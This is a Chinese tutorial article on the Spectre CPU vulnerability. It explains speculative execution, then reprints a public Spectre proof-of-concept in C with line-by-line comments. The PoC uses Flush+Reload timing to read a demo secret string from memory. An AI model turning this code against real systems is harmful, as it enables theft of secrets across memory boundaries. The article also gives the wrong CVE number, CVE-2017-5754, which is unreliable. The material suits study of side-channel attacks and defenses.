当前位置:
首页 >
Spectre漏洞
发布时间:2025/3/21
57
豆豆
漏洞介绍
Spectre的PoC下载地址: https://spectreattack.com/。
Spectre涉及CVE编号为CVE-2017-5754。
虽然我们常见认为CPU访问内存速度很快,但基于CPU运算频率来看,这个访问过程还是非常慢的,CPU访问内存中的数据需要比较长的等待时间,为了提高CPU的性能,它提出了分支预测、预测执行的功能。让CPU再访问内存等待数据时,依然可以进行相对有效的计算。如果这个分支跳转的目标的情况,是基于一个内存中的数据,并且这个内存中的数据又没有被缓存过的话(CPU就只能去内存中进行读取相关数据),CPU就会去尝试进行分支预测推测执行的动作。当CPU读取的内存数据回来的时候,CPU再根据这个数据的内容以及分支条件的逻辑去确认,它刚才的推测执行是否有效,如果无效则把计算结果丢弃,恢复到之前的状态。如果有效则继续执行,这大大提高了CPU的效率。
但这里存在一个问题,如果推测执行的结果被丢弃,但推测执行过程中所执行的代码仍可能会影响CPU的缓存。在CPU进行恢复状态的时,缓存不会被恢复,CPU只会把相关的寄存器的状态恢复。这个漏洞的根本原因是因为,推测执行中的代码可以影响CPU的缓存,而这个缓存的影响,又可以用一些技术手段探测出来。分支逻辑在这种实现上是不可靠的,因为缓存被修改了,它可以让攻击者经过测量,稳定推测出预测执行中所访问数据的内容,就导致了内存中数据的泄露。
//CPU 幽灵漏洞POC代码注释 阅读代码要从main函数里面开始看 #include "stdafx.h" #define _CRT_SECURE_NO_WARNINGS #include <stdio.h> #include <stdlib.h> #include <stdint.h>#ifdef _MSC_VER // 如果定义了微软编译器版本 包含了用于Flush+Reload 缓存攻击的rdtscp和clflush 的适当文件 //Flush+Reload攻击方法就是利用缓存加载进CPU的话速度比从内存中加载速度快 //rdtscp(用于读取时间戳计数器)通常只在较新的CPU上可用 // __MACHINEI(unsigned __int64 __rdtscp(unsigned int*)) // __MACHINEX86X_X64(void _mm_clflush(void const *)) #include <intrin.h> // for rdtscp and clflush #pragma optimize("gz", on) // g全局优化 z大小优化 s速度优化 on 开启 分支预测为CPU优化技术的一种,要开启 #else // 没有定义微软编译器版本 #include <x86intrin.h> // for rdtscp and clflush #endif#define __TRYTIMES 999//这个是实验的次数,这个实验做的多一些,最后得出数据也会越精确// 数据类型 注意 uint8_t = unsigned char; 也就是每个数组元素都是1字节,这个很重要unsigned int array1_size = 16;uint8_t array1[160] = { 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 };uint8_t array2[256 * 512]; //这个array2 无符号的话一个字节最高表示256 ,*512 ,缓存自身是64字节为单位,为了与内存映射,他回把缓存也 //以64字节划分,内存加载进缓存的话一次就加载64字节,也就是说 每次你可能只是测试这64字节中其中一个,结果他全部加载进来了,后面的时间测试就没法做了 //此处比较难理解,如果没看懂,请看后面分析 char *secret = "The Magic Words are Squeamish Ossifrage";//这个是保密信息,只有受害者知道 翻译成ASCII码也就是 84 72 69 32(空格) //Wikipedia将其解释为从1977年开始的RSA密码挑战的解决方案。uint8_t temp = 0;//全局变量 保证编译器不会再编译时删除victim_function() 如果没有全局变量的话,编译器可能把该函数优化 //这个是用来训练CPU分析预测,让分支预测结果一直比array1_size小,第6次超出范围,训练CPU有分支预测功能,且array1_size每次都是从内存重新加载 //速度慢,第6次时没判断,array2已经加载进来了 void victim_function(size_t x) {if (x<array1_size) //这个array1_size 每次都是从新从内存加载 下面有对它的flush操作 //所以array1_size比x慢一些,导致后面恶意操作,x还未和array1_size比较,CPU就预测正确 后面的一系列操作就发生了(如计算array1[x] , array1[x]* 512 //请求缓存从内存加载array2[array1[x] * 512] 等操作 ) 等CPU判断越界时,木已成舟,重置了CPU状态,从false执行,但是缓存中数据没变。temp &= array2[array1[x] * 512];//把array1[x]的数据读取到缓存中 array2[] 里面内容一直就是1,只是通过下标记录了array1[x]的值,//一共6次操作,第6次是违法操作,array2[] //解释 array2[array1[x] * 512] x = malicious_x(如果他是字母secret[0]也就是T的偏移) array1[malicious_x] = T//array2[T* 512] 这个T是ASCII码值 ASCII(I) = 84 也就是array2[84*512]被加载进缓存,后面CPU访问他的时候速度非常快,比array2[0-83*512] 和array2[85-256*512](不包括arra1数据,这个后面的 107 行条件 mix_i != array1[training_x] 可以看到)快的多,因为//他们都是从内存中重新加载的//这里非常巧妙地是用 array2的下标记录了 secret内容//之所以乘以512或者是64的倍数 是因为 cacheLine //是64字节,内存加载进缓存是加载完整cacheLine进去的,如果不是乘以64,我们一次加载就把多个secret元素加载进一个cacheLine,后面测量时间就没法展开///了 }#define CACHE_HIT_THRESHOLD (80) //时间阀值 不同CPU是不同的,80应该是作者测试得到 //三参数 value是Secrect的内容,score中是评分值该函数将测试使用Flush+Reload缓存攻击访问该值所需的时间。 //命中次数存储在results表中,但是函数只返回了两个最佳猜测。 void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2]) {static int results[256]; //这是统计命中次数的表 int tries, i, j, k, mix_i;unsigned int junk = 0;size_t training_x, x;register uint64_t time1, time2; //为了时间更加精确,使用寄存器存储时间变量。volatile uint8_t *addr; //volatile的变量是说这变量可能会被意想不到地改变,这样,编译器就不会去假设这个变量的值了。 for (i = 0; i<256; ++i)//仅仅初始化结果表。这里没有缓存攻击。results[i] = 0;//先把统计次数表都置0了,类似于百米赛跑开始时,时间清零for (tries = __TRYTIMES; tries>0; --tries) //开始试验 每次我们只计算一个secrt数组内容{for (i = 0; i<256; i++){ //i7 CPU 是多核CPU,有三级缓存,L1和L2缓存为每个CPU私有,L3为多个核共享 _mm_clflush(&array2[i * 512]); //flush and reload 是应用的L3缓存,clfush指令可以 把缓存行从L1和L2中清理,保证下次把内存中输入加载进L3缓存//调用readMemoryByte每次只分析 secret[]数组一个内容,下一次要把缓存清理一下}//CLFLUSH。CLFLUSH(Cache Line Flush,缓存行刷回)清除缓存线//若该缓存行中的数据被修改过,则将该数据写入主存training_x = tries % array1_size; // training_x第一次为7for (j = 29; j >= 0; j--){_mm_clflush(&array1_size); //刷新缓存线路,这个后面用它 与x比较,flush之后每次都是重新加载,x与它判断需要花费时间for (volatile int z = 0; z<100; z++) {}//确保刷新完成 相当于暂停一下x = ((j % 6) - 1) & ~0xFFFF;x = (x | (x >> 16));x = training_x ^ (x&(malicious_x ^ training_x));//前5次x计算出为7,第6次是那个偏移malicious_x//这些行将生成5次小写的x,这将导致victim_function(x)接受分支。//这五次是用来训练分支预测器假设分支会被取走。//由于之前的5次训练,一个易受攻击的过程将会在第6次迭代中执行if分支。victim_function(x);//执行陷阱函数}// flush and reloadfor (i = 0; i<256; ++i){mix_i = ((i * 167) + 13) & 255; //我们并不是简单地测量一个序列中每个字节的访问时间,而是将它们混合在一起,并保证每次把(0-255)都生成一遍//这样处理器就无法猜测下一步它将访问哪个字节,然后优化访问。addr = &array2[mix_i * 512];// 计算缓存线路的地址来进行检查。//我们测定访问该缓存线中一个值的时间。如果速度很快,它就是缓存命中。如果是慢的,就是一个缓存缺失。time1 = __rdtscp(&junk); junk = *addr; //读取内存 因为之前这个地址内内容被加载进缓存了,所以在此访问这个地址会很快time2 = __rdtscp(&junk) - time1; //测出 时间间隔 if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[training_x]) //后面这个条件就把array1排除了results[mix_i]++;//cache arrary2中的 0-255 项命中则 +1 分}/*获取分组中命中率最高的两个分组,分别存储在 j(最高命中),k(次高命中) 里*/j = k = -1;for (i = 0; i < 256; i++) //i只是用来循环的辅助变量{if (j < 0 || results[i] >= results[j]) //result统计的是命中的次数,因为 j 命中最高的字符 k 次高项字符{ //j不会小于0且j命中次数要大于等于i的k = j; j = i; }else if (k < 0 || results[i] >= results[k]) //k也不会小于0,最小是0{k = i; }}/*最高命中项命中次数大于 2 倍加 5 的次高命中项次数或仅仅最高命中项命中 2 次则退出循环,成功找到命中项*/if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0))break;}results[0] ^= junk; //使用 junk 防止优化输出value[0] = (uint8_t)j;//存储命中最高的字符score[0] = results[j];//存储命中最高项字符的命中次数value[1] = (uint8_t)k;//存储命中次高的字符score[1] = results[k];//存储命中次高项字符的命中次数 }int main(int argc, const char **argv) {size_t malicious_x = (size_t)(secret - (char*)array1); //secret和array1都读进了缓存//malicious_x会被传入到victim_function中所以 array1[ malicious_x] = T//正常情况下,如果malicious_x比array1_size值大,array1[ malicious_x]是没法读取的,但是如果做一个训练让x值前几次//都比array1_size小,然后放入malicious_x,如此循环几次触发了分支预测,CPU预测出x比array_size小的概率很大,当 malicious_x//再次放入的时候(这个malicious实际上是比array1_size大的),CPU就预测malicious已经超出数组array的大小,只是CPU缓存区在计算读取的数据放到了CPU的缓存中,因为//因为一场所以并没有真正的执行写入到内存中,这就是漏洞产生的原因int i, score[2], len = 0x28;//0x28十进制为40 也就是 "The Magic Words are Squeamish Ossifrage"字符串的长度(字符串有效长度为39)uint8_t value[2];//上面字符串数组里面的内容printf("array1 adress=0x%p\n", array1);printf("secret adress=0x%p\n", secret);for (i = 0; i<sizeof(array2); ++i) //uint8_t array2[256*1]{array2[i] = 1;}if (3 == argc) {sscanf(argv[1], "%u", &malicious_x); malicious_x -= (size_t)array1; sscanf(argv[2], "%d", &len); }printf("reading %04d bytes\n\n", len); int len_copy = len;while (--len >= 0)//我们做40次试验,每次只计算出一次secret的内容{printf("order:%04d", len_copy - len);printf("\taddress:0x%p", (uint8_t*)(malicious_x + array1)); readMemoryByte(malicious_x++, value, score); printf("\tresult:%s ", (score[0] >= 2 * score[1] ? "success" : "fail"));//经测试这里的2是可以写成1的,写成一 我们的512可以改成64.printf("\tvalue:%02X acsii:'%c'\tscore=%d ", value[0], (value[0]>31 && value[0]<127 ? value[0] : '?'), score[0]);if (score[1]>0) //次高项printf("\t(second best:value:0x%02X score=%d)", value[1], score[1]);printf("\n");}system("pause");return 0; }